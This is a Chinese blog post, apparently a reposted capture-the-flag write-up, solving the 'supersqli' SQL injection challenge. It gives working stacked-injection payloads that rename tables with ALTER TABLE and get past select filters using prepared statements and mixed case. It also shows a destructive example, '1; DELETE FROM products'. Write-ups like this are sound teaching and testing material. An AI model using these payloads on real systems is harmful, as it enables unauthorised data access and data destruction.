zoukankan      html  css  js  c++  java
  • 攻防世界-supersqli(sql注入)

    堆叠注入原理:

    在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

    用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

    sql注入判断:输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了

    inject=2' order by 2# 查字段 发现只有2个

    select 的时候有过滤

    尝试堆叠注入,发现有两个表

    4.查看字段,

    -1';show columns from `1919810931114514` --+

    -1';show columns from `words` --+

    发现flag在1919810931114514里面

    方法:

    1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

    select * from words where id = '';

    2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

    修改表名和列名的语法如下:

    修改表名(将表名user改为users)alter table user rename to users;

    修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);

    3.最终payload如下:

    1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

    拆分开来如下:

    1';

    alter table words rename to words1;

    alter table `1919810931114514` rename to words;

    alter table words change flag id varchar(50);

    #

    4.然后使用1' or 1=1#即可查询出flag

    方法二: Mysql的预编译,绕过select的过滤     具体做法: 编译 set @sql = concat('sele','ct * from `1919810931114514`;'); prepare stm from @sql; 执行 execute stm;--+   最终构造语句: set @sql = concat('sele','ct * from `1919810931114514`;');prepare stm from @sql;execute stm;--+       strstr对关键字set 和prepare进行了过滤,但他不区分大小写,我们可以绕过   1';sEt @sql = concat('sele','ct * from `1919810931114514`;');prEpare smt from @sql;execute smt;--+  

  • 相关阅读:
    python
    Yii框架的学习指南(策码秀才篇)1-1 如何认识Yii framework
    yii执行流程简单介绍
    html5页面编码如何确定
    防止表单重复提交的几种策略
    2维数组排序
    YII框架开发一个项目的通用目录结构:
    phpcms添加图片投票
    windows下面apache配置虚拟目录(测试使用,发布网站不建议目录访问)
    js获取浏览器的版本代码
  • 原文地址:https://www.cnblogs.com/trevain/p/13720635.html
Copyright © 2011-2022 走看看